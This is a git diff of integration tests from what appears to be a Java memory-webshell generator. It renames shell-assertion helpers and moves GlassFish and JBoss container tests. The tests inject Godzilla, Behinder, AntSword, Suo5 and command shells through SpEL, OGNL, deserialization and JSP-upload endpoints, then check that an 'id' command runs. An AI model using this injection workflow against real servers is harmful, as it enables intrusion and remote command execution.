b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java similarity index 75% rename from integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index fbc77e0e..8ac9495c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -4,10 +4,7 @@ import com.reajason.javaweb.antsword.AntSwordManager; import com.reajason.javaweb.behinder.BehinderManager; import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient; import com.reajason.javaweb.godzilla.GodzillaManager; -import com.reajason.javaweb.memshell.MemShellGenerator; -import com.reajason.javaweb.memshell.Server; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.*; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.jar.AgentJarPacker; @@ -47,15 +44,15 @@ import static org.junit.jupiter.api.Assertions.assertTrue; * @since 2024/12/5 */ @Slf4j -public class ShellAssertionTool { +public class ShellAssertion { - public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { - testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); + public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { + shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null); } @SneakyThrows - public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer container) { - testShellInjectAssertOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null); + public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer container) { + shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null); } @SneakyThrows @@ -80,14 +77,14 @@ public class ShellAssertionTool { } @SneakyThrows - public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { + public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { Pair urls = getUrls(url, shellType, shellTool, packer); String shellUrl = urls.getLeft(); String urlPattern = urls.getRight(); ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer); - GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig); + MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig); packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer); @@ -95,7 +92,7 @@ public class ShellAssertionTool { } @SneakyThrows - public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer appContainer) { + public static void packerResultAndInject(MemShellResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer appContainer) { String content = null; if (packer.getInstance() instanceof AgentJarPacker) { byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); @@ -135,40 +132,40 @@ public class ShellAssertionTool { )); } else { content = packer.getInstance().pack(generateResult.toClassPackerConfig()); - assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer); + injectIsOk(url, shellType, shellTool, content, packer, appContainer); log.info("send inject payload successfully"); } } @SneakyThrows - public static void assertShellIsOk(GenerateResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer appContainer, GenericContainer pythonContainer) { + public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer appContainer, GenericContainer pythonContainer) { switch (shellTool) { case Godzilla: - testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); + godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); break; case Command: if (shellType.endsWith(ShellType.WEBSOCKET)) { - testWebSocketCommandIsOk(shellUrl, "id"); + webSocketCommandIsOk(shellUrl, "id"); } else { - testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id"); + commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id"); } break; case Behinder: - testBehinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); + behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig())); break; case Suo5: - testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); + suo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig())); break; case AntSword: - testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig())); + antSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig())); break; case NeoreGeorg: - testNeoreGeorgIsOk(appContainer, pythonContainer, shellUrl, ((NeoreGeorgConfig) generateResult.getShellToolConfig())); + neoreGeorgIsOk(appContainer, pythonContainer, shellUrl, ((NeoreGeorgConfig) generateResult.getShellToolConfig())); break; } } - private static void testNeoreGeorgIsOk(GenericContainer container, GenericContainer pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception { + private static void neoreGeorgIsOk(GenericContainer container, GenericContainer pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception { URL url = new URL(shellUrl); shellUrl = "http://app:" + container.getExposedPorts().stream().findFirst().get() + url.getPath(); String stdout = pythonContainer.execInContainer("python", "/app/neoreg.py", "-k", "key", "-H", shellToolConfig.getHeaderName() + ": " + shellToolConfig.getHeaderValue(), "-u", shellUrl).getStdout(); @@ -176,7 +173,7 @@ public class ShellAssertionTool { assertTrue(stdout.contains("All seems fine")); } - public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) { + public static void godzillaIsOk(String entrypoint, GodzillaConfig shellConfig) { try (GodzillaManager godzillaManager = GodzillaManager.builder() .entrypoint(entrypoint).pass(shellConfig.getPass()) .key(shellConfig.getKey()).header(shellConfig.getHeaderName() @@ -189,7 +186,7 @@ public class ShellAssertionTool { } @SneakyThrows - public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig, String payload) { + public static void commandIsOk(String entrypoint, CommandConfig shellConfig, String payload) { OkHttpClient okHttpClient = new OkHttpClient(); HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) .newBuilder() @@ -207,12 +204,12 @@ public class ShellAssertionTool { } @SneakyThrows - public static void testWebSocketCommandIsOk(String entrypoint, String payload) { + public static void webSocketCommandIsOk(String entrypoint, String payload) { String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(entrypoint, payload); assertTrue(response.contains("uid=")); } - public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) { + public static void behinderIsOk(String entrypoint, BehinderConfig shellConfig) { BehinderManager behinderManager = BehinderManager.builder() .entrypoint(entrypoint).pass(shellConfig.getPass()) .header(shellConfig.getHeaderName() @@ -220,11 +217,11 @@ public class ShellAssertionTool { assertTrue(behinderManager.test()); } - public static void testSuo5IsOk(String entrypoint, Suo5Config shellConfig) { + public static void suo5IsOk(String entrypoint, Suo5Config shellConfig) { assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue())); } - public static void testAntSwordIsOk(String entrypoint, AntSwordConfig shellConfig) { + public static void antSwordIsOk(String entrypoint, AntSwordConfig shellConfig) { AntSwordManager antSwordManager = AntSwordManager.builder() .entrypoint(entrypoint) .pass(shellConfig.getPass()) @@ -288,7 +285,7 @@ public class ShellAssertionTool { return shellToolConfig; } - public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) { + public static MemShellResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) { InjectorConfig injectorConfig = new InjectorConfig(); if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); @@ -306,7 +303,7 @@ public class ShellAssertionTool { return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); } - public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer container) { + public static void injectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer container) { switch (packer) { case JSP, ClassLoaderJSP, DefineClassJSP -> { String uploadEntry = url + "/upload"; @@ -322,34 +319,34 @@ public class ShellAssertionTool { VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); } - case ScriptEngine -> VulTool.postData(url + "/js", content); - case EL -> VulTool.postData(url + "/el", content); - case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postData(url + "/spel", content); - case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postData(url + "/ognl", content); - case MVEL -> VulTool.postData(url + "/mvel", content); - case JXPath -> VulTool.postData(url + "/jxpath", content); - case JEXL -> VulTool.postData(url + "/jexl2", content); - case Aviator -> VulTool.postData(url + "/aviator", content); - case Groovy -> VulTool.postData(url + "/groovy", content); - case Rhino -> VulTool.postData(url + "/rhino", content); - case BeanShell -> VulTool.postData(url + "/bsh", content); - case JinJava -> VulTool.postData(url + "/jinjava", content); - case Freemarker -> VulTool.postData(url + "/freemarker", content); - case Velocity -> VulTool.postData(url + "/velocity", content); - case JavaDeserialize -> VulTool.postData(url + "/java_deserialize", content); - case JavaCommonsBeanutils16 -> VulTool.postData(url + "/java_deserialize/cb161", content); - case JavaCommonsBeanutils17 -> VulTool.postData(url + "/java_deserialize/cb170", content); - case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content); - case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content); - case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content); - case JavaCommonsCollections3 -> VulTool.postData(url + "/java_deserialize/cc321", content); - case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content); - case HessianDeserialize -> VulTool.postData(url + "/hessian", content); - case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content); - case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postData(url + "/xmlDecoder", content); - case Base64 -> VulTool.postData(url + "/b64", content); + case ScriptEngine -> VulTool.postIsOk(url + "/js", content); + case EL -> VulTool.postIsOk(url + "/el", content); + case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content); + case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content); + case MVEL -> VulTool.postIsOk(url + "/mvel", content); + case JXPath -> VulTool.postIsOk(url + "/jxpath", content); + case JEXL -> VulTool.postIsOk(url + "/jexl2", content); + case Aviator -> VulTool.postIsOk(url + "/aviator", content); + case Groovy -> VulTool.postIsOk(url + "/groovy", content); + case Rhino -> VulTool.postIsOk(url + "/rhino", content); + case BeanShell -> VulTool.postIsOk(url + "/bsh", content); + case JinJava -> VulTool.postIsOk(url + "/jinjava", content); + case Freemarker -> VulTool.postIsOk(url + "/freemarker", content); + case Velocity -> VulTool.postIsOk(url + "/velocity", content); + case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content); + case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content); + case JavaCommonsBeanutils17 -> VulTool.postIsOk(url + "/java_deserialize/cb170", content); + case JavaCommonsBeanutils18 -> VulTool.postIsOk(url + "/java_deserialize/cb183", content); + case JavaCommonsBeanutils19 -> VulTool.postIsOk(url + "/java_deserialize/cb194", content); + case JavaCommonsBeanutils110 -> VulTool.postIsOk(url + "/java_deserialize/cb110", content); + case JavaCommonsCollections3 -> VulTool.postIsOk(url + "/java_deserialize/cc321", content); + case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content); + case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); + case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); + case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); + case Base64 -> VulTool.postIsOk(url + "/b64", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); - case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content); + case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content); default -> throw new IllegalStateException("Unexpected value: " + packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index e8b69a8a..e153c9bb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -45,7 +45,7 @@ public class VulTool { } @SneakyThrows - public static void postData(String uploadUrl, String data) { + public static void postIsOk(String uploadUrl, String data) { RequestBody requestBody = new FormBody.Builder() .add("data", data) .build(); @@ -59,6 +59,20 @@ public class VulTool { } } + @SneakyThrows + public static String post(String uploadUrl, String data) { + RequestBody requestBody = new FormBody.Builder() + .add("data", data) + .build(); + Request request = new Request.Builder() + .header("Content-Type", "application/x-www-form-urlencoded") + .url(uploadUrl).post(requestBody) + .build(); + try (Response response = new OkHttpClient().newCall(request).execute()) { + return response.body().string(); + } + } + @SneakyThrows public static void xxlJobExecutor(String url, String data) { OkHttpClient client = new OkHttpClient(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java index 5b2d6460..92ee3453 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.glassfish; +package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -25,7 +25,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -77,6 +77,6 @@ public class GlassFish3ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java similarity index 92% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java index 31574c89..42759ab9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.glassfish; +package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -25,7 +25,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -77,6 +77,6 @@ public class GlassFish4ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java index bec457e8..c8ee59cd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.glassfish; +package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,6 +69,6 @@ public class GlassFish501ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java index 383a6582..8e848a6d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.glassfish; +package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -70,6 +70,6 @@ public class GlassFish510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java index f2c7e8c2..c23d3442 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.glassfish; +package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -70,6 +70,6 @@ public class GlassFish6ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java index f5c77a68..cc5caa3e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.glassfish; +package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -69,6 +69,6 @@ public class GlassFish7ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python); + shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java index a92051b6..b5144528 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jbossas; +package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -68,6 +68,6 @@ public class Jboss423ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java index 40a564d3..8277b166 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jbossas; +package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -74,6 +74,6 @@ public class Jboss510ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java index 2b85ee23..e00fb8ea 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jbossas; +package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -71,6 +71,6 @@ public class Jboss610ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { - testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); + shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java similarity index 91% rename from integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java index 3474ae27..cf83a26e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.jbossas; +package com.reajason.javaweb.integration.memshell.jbossas; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.Server; @@ -23,7 +23,7 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; -import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.hamcrest.MatcherAssert.assertThat; /** @@ -74,6 +74,6 